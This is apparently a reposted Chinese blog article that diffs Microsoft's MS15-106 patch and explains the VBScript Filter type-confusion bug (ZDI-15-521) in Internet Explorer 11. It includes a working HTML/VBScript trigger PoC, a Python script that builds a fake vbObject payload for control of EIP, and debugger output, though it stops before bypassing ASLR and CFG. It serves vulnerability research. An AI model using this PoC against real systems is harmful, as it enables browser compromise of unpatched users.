导语:在2015年10月13日,著名的漏洞小组Zero Day Initiative公布了一个影响WindowsIE浏览器的漏洞ZDI-15-521,可以看一下ZDI关于这个漏洞细节的报告:

漏洞介绍

在2015年10月13日,著名的漏洞小组Zero Day Initiative公布了一个影响WindowsIE浏览器的漏洞ZDI-15-521,可以看一下ZDI关于这个漏洞细节的报告:

根据漏洞细节报告可以看出这个漏洞是由于VBScript脚本的Filter方法在处理不正确的参数时,误将一个整数当作指针指向内存中的对象,造成对象类型混淆漏洞。攻击者通过该漏洞可以远程代码执行。

微软也在第一时间修复了该漏洞MS15-106。本文将通过补丁对比,进而构造能触发该漏洞的POC。这里我使用的两个版本分别是KB3093983– MS15-106和KB3087038– MS15-094,系统环境为Windows8.1 X64 IE11,其中影响漏洞的VBScript分别是修复后vbscript.dll 5.8.9600.18052和修复前vbscript.dll5.8.9600.18036。

补丁对比

根据ZDI的漏洞细节报告,我们知道触发漏洞是VBScript的Filter函数,Filter函数在二进制代码层面是通过vbscript!VbsFilter函数实现的。在这里可以使用Bindiff(之前已经介绍过)或者Turbodiff二进制比对工具进行比对,这里我们使用Nicolae Economou的Turbodiff进行分析,可以发现VbsFilte函数改变的比较多:

可以看到vbscript!VbsFilter在补丁前后代码修改的比较多,如下图所示(左边是补丁前,右边是补丁后):

我们仔细看一下MSDN关于VBScript的Filter函数的描述:

该函数的执行流程如下:

1. 首先验证参数的个数。最少2个最多4个参数(最后的两个参数,Include和Compare是可选的)。如果没有Include,默认值设置为True;如果没有Compare,默认值设置为0,表示vbBinaryCompare.
2. 接着验证第二个参数值是否是一个字符串.
3. 获取第一个参数(InputStrings)的VarType,校验是否为一个数组.
4. 在验证上述参数完之后,调用vbscript!rtFilter完成后续工作.

在比对时我发现,补丁前后最大的不同是对Filter函数的第一个参数(InputStrings)的验证。根据Filter函数的官方文档,第一个参数是这样描述的“要搜索的一维字符串数组”。

看一下补丁前后,是如何验证传入Filter函数的参数,左边是漏洞版本,右边是补丁版本:

对补丁前后的代码进行简单的分析,代码首先调用VAR::PvarGetVarVal函数,返回值为一个指向某对象的指针。其中该指针指向内容的头2个字节表示该对象的类型,即 VarType函数的返回值,例如 vbNull (1), vbLong (3), vbString (8), vbBoolean(11).

在左边漏洞版本的代码执行流程可以看到,获取VarType值作为第一个参数,接着进行ANDEAX, 2000h操作。漏洞代码校验Filter函数的第一个参数是否为其他类型,其中0x2000表示VBScript的基本VarType数组。有关VarType的函数的信息,详见官方文档。

现在我们知道,VBScript可以处理不同类型得由VBScript创建的变量数组,因此如果调用函数VarType(arr),返回值是0x200c,其中0x2000=vbArray,0x0c=vbVariant.

在右边的补丁版本我们可以看到,校验Filter函数的第一个参数时更加严格:VarType必须是0x200c或者0x600c。在MSDN中0x600c没有进行说明,但是可以证实是VBScript中基本的VarType多维数组。因此我们现在可以知道,补丁版本的VBScript解释器确保Filter函数的第一个参数要么是一个一维变量数组,要么是一个多维变量数组,其他的类型都不会接受。换句话说就是Filter函数接受的参数只能是一维变量数组或者多维变量数组。因此补丁后的版本看起来是修复了这个对象类型混淆漏洞。

构造POC触发漏洞

要触发漏洞,关键问题是能否找到一个非变量数组,因此我们必须要通过其他方式来创建这个数组而不是通过VBScript。在网上查了很多相关资料,幸运的是在一篇帖子为“Whydoes VarType() ALWAYS return 8204 for Arrays?”中获得一些有用的信息:

可以看到VBScript可以处理那些来源不是VBScript创建的非变量数组,例如通过ActiveX对象创建的。刚开始我通过使用ADODB ActiveX objects创建了一个非变量数组,例如ADODB.Connection 和 ADODB.Recordset。然而尽管这对脚本来说是安全的,但是一旦在IE上跑起来的时候,会要求允许实例化ActiveX对象,因此该方案不可行。

幸运的是,搜索到另外一种解决方案,可以使用XMLHttpRequest,既能够满足脚本的安全性,而且不会要求用户允许。代码示例如下:

function read_file(filename){
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open("GET", filename,  false);
    xmlhttp.send();
    return xmlhttp.responseBody;
}

根据这些信息就可以编写第一个POC来触发漏洞了,创建一个可控的数组,VarType=0x2011而不是0x200c。使用JS来创建一个XMLHttpRequest对象,使用该对象可以从Web服务器获取任意数据,接着就是导致responseBody数组传入VBScript代码。如果成功的话,VBScript代码会通过MessageBox弹出对话框,最后调用Filter漏洞函数,详细的POC如下:

<html>
<head>
  <meta  http-equiv="x-ua-compatible" content="IE=10">
  <title>First PoC for  MS15-106</title>
</head>
<body>
<script type="text/vbscript">
Function show_var_type(arg)
    Dim result
    '&H2011 = &H2000 (vbArray) |  &H11 (vbByte)
    MsgBox(Hex(VarType(arg)))
    result = Filter(arg, "w00tw00t",  1, 1)
End Function
</script>
<script type="text/javascript">
function triggerjs(){
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open("GET",  "/some_data", false);
    xmlhttp.send();
    /* XMLHttpRequest.responseBody is a  VBArray object containing the raw bytes. */
    return xmlhttp.responseBody;
}
</script>
<form>
<input type="button" value="PoC"  name="conjs"  onClick="javascript:show_var_type(triggerjs())"/>
</form>
</body>
</html>

控制EIP

下面看看执行该POC文件是如何触发该漏洞。首先VBScript解释器会检查当前数组是否为一维数组,如果条件满足,则调用vbscript!VbsFilter函数:

继续跟进vbscript!VbsFilter函数。ECX寄存器指向的是XMLHttpRequest的请求数据,随后调用函数VAR::BstrGetVal,该函数的返回值是一个代表VBScript对象的字符串。然而由于类型混淆漏洞的存在,我们控制的任意对象数据就被解释成了VBScript对象。

跟进VAR::BstrGetVal函数我们发现,内部又会调用VAR::PvarGetVarVal函数:

VAR::PvarGetVarVal函数获取我们伪造的对象的VarType,如果结果是9,则调用VAR::ObjGetDefault:

注意,在调用VAR::ObjGetDefault前,执行了MOV ECX,DWORD [ECX+8]指令,由于ECX指向的是XMLHttpRequest的请求数据,因此该指令将我们构造的请求数据偏移值+8的数据传入ECX寄存器中,所以继续跟进VAR::ObjGetDefault,我们可以看到最终的漏洞触发点:

通过Call dword ptr[ESI]间接调用,而在这里我们已经可以完全控制ESI寄存器了,因此实际上可以进行任意代码执行了。可惜,在间接调用前还存在call ds:quard check icall fptr调用,很明显是CFG保护。所以呢,这里还需要做点其他事,绕过此处的CFG。构造一个python脚本,生成一个名为”some_data”的文件,该文件包含的是XMLHttpRequest请求的数据,包括了精心构造的VBScript对象数据:

import struct
with open("some_data",  "wb") as f:
     f.write(struct.pack('<H', 0x0009))        # varType == vbObject
     f.write(struct.pack('>H', 0x5051))        # dummy
     f.write(struct.pack('<L', 0x41414141))    # dummy
  
     # On Windows 8.1, dword[0x7ffe0270] == 0x00000003  --> call dword[0x00000003]
     f.write(struct.pack('<L', 0x7ffe0270))
     f.write(struct.pack('<L', 0x43434343))    # dummy

注意,第一个dword值为0x0009,代表了构造的vbObject,执行流程:

VbsFilter ->rtFilter -> VAR::BstrGetVal -> VAR::PvarGetVarVal ->VAR::ObjGetDefault -> CALL DWORD [ESI].

运行该POC,附加调试器,可以捕获到IE直接crash的信息,调用CFG校验信息如下:

vbscript!VAR::ObjGetDefault+0x6f:
64af91798b0e            mov     ecx,dword ptr [esi]  ds:0023:00000003=????????
0:006> u @eip
vbscript!VAR::ObjGetDefault+0x6f:
64af91798b0e            mov     ecx,dword ptr [esi]
64af917bff1534e3b364    call    dword ptr[vbscript!__guard_check_icall_fptr (64b3e334)]
64af9181ff16            call    dword ptr [esi]
64af91833bfc            cmp     edi,esp
64af91850f8529590000    jne     vbscript!VAR::ObjGetDefault+0x7d(64afeab4)
64af918b85c0            test    eax,eax
64af918d0f883d230100    js      vbscript!VAR::ObjGetDefault+0x123c6(64b0b4d0)
64af91938d442410        lea     eax,[esp+10h]

从这里可以看到,如果完整利用该漏洞的话,首先还需要bypass ASLR,接着CFG就会继续代码的执行。

源链接

Hacking more

...